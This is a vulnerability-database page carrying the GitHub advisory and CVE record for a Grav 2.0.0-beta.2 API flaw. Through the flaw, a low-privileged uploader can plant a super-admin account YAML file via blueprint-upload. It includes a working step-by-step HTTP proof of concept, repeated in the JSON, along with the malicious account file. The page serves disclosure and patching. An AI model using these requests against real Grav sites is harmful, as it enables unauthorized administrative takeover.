Vulnerability-Lookup

GHSA-6XX2-M8WV-756H

Vulnerability from github – Published: 2026-05-06 21:19 – Updated: 2026-05-13 16:41

Summary

Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Details

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

user/plugins/api/classes/Api/ApiRouter.php:261
user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45
user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114
user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308
user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417
user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

destination=self@:
scope=users/anything

The server resolves the write target to the shared account directory:

user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

access:
  api:
    access: true
    media:
      write: true

PoC

Step 1: Authenticate as the low-privileged API user

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

UPLOADER_TOKEN = <access_token from response>

Attachment:

Step 2: Upload a malicious account YAML file

POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

upload

Step 3: Log in as the newly created account

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

pwned-login

Step 4: Verify privileged API access

GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

system-info

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

modify content
alter configuration
manage users
install or update plugins/themes
access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

the upload response returned user/accounts/pwned.yaml
logging in as pwned succeeded
the new account had super_admin = true
privileged endpoints such as /api/v1/system/info were accessible

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:19:21Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges.\n\nThis results in full administrative compromise of the Grav API.\n\n## Details\n\nThe vulnerability is located in the API plugin\u0027s blueprint upload flow:\n\n- `user/plugins/api/classes/Api/ApiRouter.php:261`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417`\n- `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55`\n\nThe issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target.\n\nWhen the request uses:\n\n- `destination=self@:`\n- `scope=users/anything`\n\nThe server resolves the write target to the shared account directory:\n\n```text\nuser/accounts/\n```\n\nThe upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`.\n\nThe required attacker privilege is low:\n\n```yaml\naccess:\n  api:\n    access: true\n    media:\n      write: true\n```\n\n## PoC\n\n### Step 1: Authenticate as the low-privileged API user\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"uploader\",\"password\":\"Upload123A\"}\n```\n\nExtract:\n\n```text\nUPLOADER_TOKEN = \u003caccess_token from response\u003e\n```\n\nAttachment:\n\n\u003cimg width=\"1480\" height=\"825\" alt=\"login-uploader\" src=\"https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541\" /\u003e\n\n### Step 2: Upload a malicious account YAML file\n\n```http\nPOST /api/v1/blueprint-upload HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: \u003cUPLOADER_TOKEN\u003e\nContent-Type: multipart/form-data; boundary=----CodexBoundaryF01\nConnection: close\n\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"destination\"\n\nself@:\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"scope\"\n\nusers/anything\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"file\"; filename=\"pwned.yaml\"\nContent-Type: text/yaml\n\nemail: attacker@example.com\nfullname: attacker\ntitle: Site Administrator\nstate: enabled\npassword: Passw0rd!123\naccess:\n  site:\n    login: true\n  api:\n    super: true\n------CodexBoundaryF01--\n```\n\nExpected result:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"pwned.yaml\",\n      \"path\": \"user/accounts/pwned.yaml\"\n    }\n  ]\n}\n```\n\nAttachment:\n\n\u003cimg width=\"1484\" height=\"797\" alt=\"upload\" src=\"https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f\" /\u003e\n\n### Step 3: Log in as the newly created account\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"pwned\",\"password\":\"Passw0rd!123\"}\n```\n\nExpected result:\n\n```json\n{\n  \"data\": {\n    \"user\": {\n      \"username\": \"pwned\",\n      \"super_admin\": true\n    }\n  }\n}\n```\n\nAttachment:\n\n\u003cimg width=\"1494\" height=\"830\" alt=\"pwned-login\" src=\"https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe\" /\u003e\n\n### Step 4: Verify privileged API access\n\n```http\nGET /api/v1/system/info HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: \u003cPWNED_TOKEN\u003e\nConnection: close\n```\n\nExpected result:\n\nThe request succeeds and returns system-level information.\n\nAttachment:\n\n\u003cimg width=\"1480\" height=\"831\" alt=\"system-info\" src=\"https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2\" /\u003e\n\n## Impact\n\nThis is an authenticated vertical privilege-escalation vulnerability.\n\nAny API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can:\n\n- modify content\n- alter configuration\n- manage users\n- install or update plugins/themes\n- access system-level administration features\n\nIn a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.\n\nThis issue was reproduced locally:\n\n- the upload response returned `user/accounts/pwned.yaml`\n- logging in as `pwned` succeeded\n- the new account had `super_admin = true`\n- privileged endpoints such as `/api/v1/system/info` were accessible",
  "id": "GHSA-6xx2-m8wv-756h",
  "modified": "2026-05-13T16:41:19Z",
  "published": "2026-05-06T21:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-api/commit/97fc02844a35f743dfe93d34efd92d47eedd5bc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Low-privileged Grav API users can create super-admin accounts via blueprint-upload"
}

CVE-2026-42844 (GCVE-0-2026-42844)

Vulnerability from cvelistv5 – Published: 2026-05-12 21:43 – Updated: 2026-05-13 14:28

Title

Grav: Low-privileged API users can create super-admin accounts via blueprint-upload

Summary

Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-434 - Unrestricted Upload of File with Dangerous Type
CWE-269 - Improper Privilege Management

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/getgrav/grav/security/advisori…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: 2.0.0-beta.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42844",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T14:28:07.384843Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T14:28:31.866Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "status": "affected",
              "version": "2.0.0-beta.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
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              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "CWE-269: Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-12T21:43:18.259Z",
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      },
      "references": [
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          "name": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h",
          "tags": [
            "x_refsource_CONFIRM"
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          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h"
        }
      ],
      "source": {
        "advisory": "GHSA-6xx2-m8wv-756h",
        "discovery": "UNKNOWN"
      },
      "title": "Grav: Low-privileged API users can create super-admin accounts via blueprint-upload"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42844",
    "datePublished": "2026-05-12T21:43:18.259Z",
    "dateReserved": "2026-04-30T16:44:48.376Z",
    "dateUpdated": "2026-05-13T14:28:31.866Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-6XX2-M8WV-756H

Summary

Details

PoC

Step 1: Authenticate as the low-privileged API user

Step 2: Upload a malicious account YAML file

Step 3: Log in as the newly created account

Step 4: Verify privileged API access

Impact

CVE-2026-42844 (GCVE-0-2026-42844)

Tags

Sightings

Nomenclature